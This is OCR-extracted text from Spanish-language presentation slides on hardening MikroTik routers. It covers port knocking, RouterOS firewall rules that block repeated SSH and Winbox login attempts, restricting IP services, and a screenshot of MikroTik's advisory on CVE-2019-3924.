120 cadd.. input 6 tep) 8291,8390 4208 uTTY Fatal Error
121 ctadd... input 6 tcp) 8291,8390 37008
130 items C

1 8 MNetwork error: Connection timed out
8items
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Mejorando las politicas de seguridad

= Configurando politicas en firewall

* Generamos una lista de acceso temporal en
base a una secuencia de puertos

Port Knocking

Secuencia puertos tcp 9326 9127 2739

38
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Mejorando las politicas de seguridad

= Port Knocking

Router> /ip firewall filter

add action=add-src-to-address-list address-list=pasel
address-list-timeout=1m chain=input comment=Autorizacion
dst-port=9326 protocol=tcp

add action=add-src-to-address-list address-list=pase2
address-list-timeout=1m chain=input dst-port=9127
protocol=tcp src-address-list=pasel

add action=add-src-to-address-list address-list=listablanca
address-list-timeout=2m chain=input dst-port=2739
protocol=tcp src-address-list=pase2

add action=drop chain=input comment="permitir conexion
Winbox si esta en lista blanca” dst-port=8395 protocol=tcp
src-address-list=! listablanca

39



Mejorando |

= Port Knocking

[""1 GregSowell.com Port Knock

- X

Description
P [1022021 | Desc [cas |
Type Port Text
N B3
2 [P | | sz [ |
13 |Ncne v\ |2?39 H |
[ 4 [None ] | | |
Knock Add/Update Delete

Torch (Running)
Basic
Interface: |sfp2-Hacia [INEGTIEGNGI
Entry Timeout: |00:00:03

Collect
v Src. Address Src. Addressb
v Dst. Address Dst. Addressb
MAC Protocol | Port
| Protocol VLAN d
DSCP
Eth. Protocol Prot... | Sre.

800 {ip) 6 &cp) 10.2.155.106:179 (bgp)
800 @p) 6 &cp) 10.2.155.106:21717
800 (ip) 6 ¢cp) 10.2.155.106:21772

P) b tcp) 10.2.155.106:22102
800 fip) 6 &cp) 10.2.155.106:32506
800 p) 6 fcp) 10.2.155.106:33404
800 fip) 6 fcp) 10.2.155.106:33444
800 fip) 6 fcp) 10.2.155.106:34232
800 fip) 6 &cp) 10.2.155.106:34583
800 p) 6 fcp) 10.2.155.106:35415
800 fip) 6 fcp) 10.2.155.106:40050
800 fip) 6 fcp) 10.2.155.106:40890
800 fip) 6 fcp) 10.2.155.106:41461
800 p) 6 fcp) 10.2.155.106:41522
800 fip) 6 fcp) 10.2.155.106:45497

Fitters

v Src. Address:
s Dst. Address:

Src. Address6
Dst. Address6

0.0.0.0/0
0.0.0.0.0
=0

/0

al

: |tep

: [any

any

any

Dst.
10.2.55.109:50341
201.148.23.57:8291 (winbox)
220 pmpai
0p.1:9326
10.220p.1:9127
10.220.T7-18-823T (winbox)
10.220.22 86:8291 (winbox)
10.220.22.86:8291 {winbox)
10.220.22.33:8291 {winbox)
10.220.16.91:8291 (winbox)
10.220.22.51:23 gelnet)
10.228.24.34:8291 (winbox)
10.220.22 67-8291 (winbox)
10.220.17.19:8291 (winbox)
10.220.22 66:8291 (winbox)
10.220.14.27:8291 (winbox)

New Window

+l

VLAN Id|DSCP | Tx Rate

Obps

145.2k...

10424 ...
Obps
Obps
1000 bps
Obps
Obps
Obps
Obps
Obps
Obps
Obps
1528 bps
Obps
Obps

Rx Rate

as politicas de seguridad

Stop

4

Obps [+
10.7 kbps
47 8kbps

@__

-
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II‘HEx
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Mejorando las politicas de seguridad

= Port Knocking

—
Firewall = E3
Fiter Rules NAT Mangle Raw Service Pots Connections Address Lists Layer7 Protocols
| = & |% O T |00 ResetCounters | 00 Reset Al Counters al s
# Action  |Chain Src. Address |Dst. Address Proto... |Src. Pot  |Dst. Pot  |In. Inter...|Out. Int... |B{ ¥
... Autonzacion
0 ctadd... input 6 tcp) 9326
1 ctadd... input 6 ttep) 9127
2 ctadd... input 6 tcp) 2739
..: permitir conexion si esta en lista blanca
3 HKdrop input 6 tcp) 8395
Firewall = E3
Fiter Rules NAT Mangle Raw Service Pots Connections Address Lists | Layer7 Protocols
+ = v % AT al 3
Name Address Timeout Creation Time S
O listablanca  192.168.77.0/24 Jan/26/2019 12....
Q listablanca 127.0.0.1 Jan/26/2019 12:...
“ D olistablanca 189.188.67.69 00:01:39 Jan/27/2019 10-...
4items (

3items (1 selected)

|P Service List
v %7

Name Port Available From

@ ssh
______ Ownbox f%0p

8 tems (1 selected)

Cerfficate A

H‘L-h . 1]
MikroT ik
MEXICO
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Mejorando las politicas de seguridad

- O X
v| Keep Password
in: v Autosave Session
7 Open In New Window
Session: |<own> Browse
Note: |index
Group: |navojo
RoMON Agent: £
Add/Set Connect To RoMON
Managed Neighbors
T | Refresh Pv6 only




Mejorando las politicas de seguridad

= Limitando usuarios

User List
Users | Groups SSH Keys SSH Private Keys  Active Users

[#[=] [vl[x] [a] [¥] [ ma |

ame 7 |Group  Allowed Address Last Logged In

MM MMM III KKK KKK RERR RRR 000000 TIT

command [?] Gives help on the command and list of arguments

[Tab] Completes the command/word. If the input is ambiguous,

a second [Tab] gives possible options

/ Move up to base level
. Move up one level
/fcommand Use command at the base level

apr/09/2019 01:00:27 system,error,critical login failure for user adiaz from 201.1

1
€.39.210 via telnet

apr/09/201% 01:00:50 system,error,critical login failure for user adiaz from 201.1

1
€.39.210 via telnet

apr/09/2019 01:01:01 system,error,critical login failure for user adiaz from 201.1

1
€.39.210 via telnet

[adiaz@dualband-ap-ofaa] > I

Mar/22/2019 11:12:36
Apr/09/2019 01:01:18

III KKK KKK

'IP Service List

RAEN

0|
[o %]

|Name + |Port |Available From |Certicate R4
X 9 api 8728
X | @ apissl| 8729 none
X Qftp

@ ssh

X otelnet 23

@ winbox 8291
X 9 www 80
X @ www-ssl 443

-

none

© WinBox v3.18 (Addresses)

File Tools

Qe
INDEX

SOLUCIONES [P

S —
MikroT ik
MEXICO

Bitems (1 selected)

Connect To: | 192.168.7IE2

Login: Iadiaz

Password: I........

Connect To RoMON | | Conneat |

ERROR: wrong usemame or password
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Mejorando las politicas de seguridad

= Resumiendo

~ IR L I 1 ]

Ip firewall filter . i Silaip esta en lista
'lcoelnet 23 drop Tocamos secuencias de Si los toques fueron en el gl::rs;?r::srT:s ” bIancZ y esta
ftp 21 drop puertos en un lapso corto orden definido conexién de esa ip permitida en los
www 8183 drop tcp 9326 9127 2739 permitimos la ip origen en las redes de ip services esta lista
ssh- 2210 drop que tocé dichos puertos services port para autenticarse
api 8728 drop por winbox

winbox 8491 drop
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Mejorando las politicas de seguridad

###SSH y WINBOX BLOCK

/ip firewall filter

add action=drop chain=input comment="BLOQUEA LA IP DURANTE 24 HORAS SI PASA POR LAS 5 LISTAS login SSH!" dst-port=22 protocol=tcp src-address-list=black_list_ssh

add action=add-src-to-address-list address-list=black_list_ssh address-list-timeout=1d chain=input connection-state=new dst-port=22 protocol=tcp src-address-list=ssh_list5

add action=add-src-to-address-list address-list=ssh_list5 address-list-timeout=1m chain=input connection-state=new dst-port=22 protocol=tcp src-address-list=ssh_list4

add action=add-src-to-address-list address-list=ssh_list4 address-list-timeout=1m chain=input connection-state=new dst-port=22 protocol=tcp src-address-list=ssh_list3

add action=add-src-to-address-list address-list=ssh_list3 address-list-timeout=1m chain=input connection-state=new dst-port=22 protocol=tcp src-address-list=ssh_list2

add action=add-src-to-address-list address-list=ssh_list2 address-list-timeout=1m chain=input connection-state=new dst-port=22 protocol=tcp src-address-list=ssh_list1

add action=add-src-to-address-list address-list=ssh_list1 address-list-timeout=1m chain=input connection-state=new dst-port=22 protocol=tcp

add action=drop chain=input comment="BLOQUEA LA IP DURANTE 24 HORAS SI PASA POR LAS 5 LISTAS login winbox!" dst-port=8291 protocol=tcp src-address-list=black_list_winbox
add action=add-src-to-address-list address-list=black_list_winbox address-list-timeout=1d chain=input connection-state=new dst-port=8291 protocol=tcp src-address-list=winbox_list5
add action=add-src-to-address-list address-list=winbox_list5 address-list-timeout=3m chain=input connection-state=new dst-port=8291 protocol=tcp src-address-list=winbox_list4
add action=add-src-to-address-list address-list=winbox_list4 address-list-timeout=3m chain=input connection-state=new dst-port=8291 protocol=tcp src-address-list=winbox_list3
add action=add-src-to-address-list address-list=winbox_list3 address-list-timeout=3m chain=input connection-state=new dst-port=8291 protocol=tcp src-address-list=winbox_list2
add action=add-src-to-address-list address-list=winbox_list2 address-list-timeout=3m chain=input connection-state=new dst-port=8291 protocol=tcp src-address-list=winbox_list1

add action=add-src-to-address-list address-list=winbox_list1 address-list-timeout=3m chain=input connection-state=new dst-port=8291 protocol=tcp

/ip firewall filter

add action=add-src-to-address-list address-list=pasel address-list-timeout=1m chain=input comment=Autorizacion dst-port=9326 protocol=tcp
add action=add-src-to-address-list address-list=pase2 address-list-timeout=1m chain=input dst-port=9127 protocol=tcp src-address-list=pasel

add action=add-src-to-address-list address-list=listablanca address-list-timeout=2m chain=input dst-port=2739 protocol=tcp src-address-list=pase2

add action=drop chain=input comment="permitir conexion Winbox si esta en lista blanca" dst-port=8395 protocol=tcp src-address-list=! listablanca

MikroTik
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Mejorando las politicas de seguridad
= https://blog.mikrotik.com/security/

& C @ https://blog.mikrotik.com/security/cve-20193924-dude-agent-vulnerability.html

\K .
Mikror ik Blog Archive RSSfeed ¥ MikroTik.com

CVE-2019-3924 DUDE AGENT VULNERABILITY Search..

22nd Feb, 2019 | Security

= aeSRa@B LATESTARTICLES

MikroTik accelerates the adoption
of 60 GHz technologies with
Terragraph

CVE-2019-3924 Dude agent
vulnerability

CVE-2018-14847 winbox
vulnerability

Bugfix update 6.40.9 released

CVE-2018-115X issues discovered
by Tenable

CATEGORIES

On February 21, Tenable published a new CVE, describing a vulnerability, which allows to proxy a
TCP/UDP request through the routers Winbox port, if it's open to the internet. Tenable had previously
contacted MikroTik about this issue, so a fix has already been released on February 11, 2019 in all Security

Software 46

Announcements

RouterOS release channels.

The issue does not affect RouterBOARD devices with default confiauration. if the "Firewall router"
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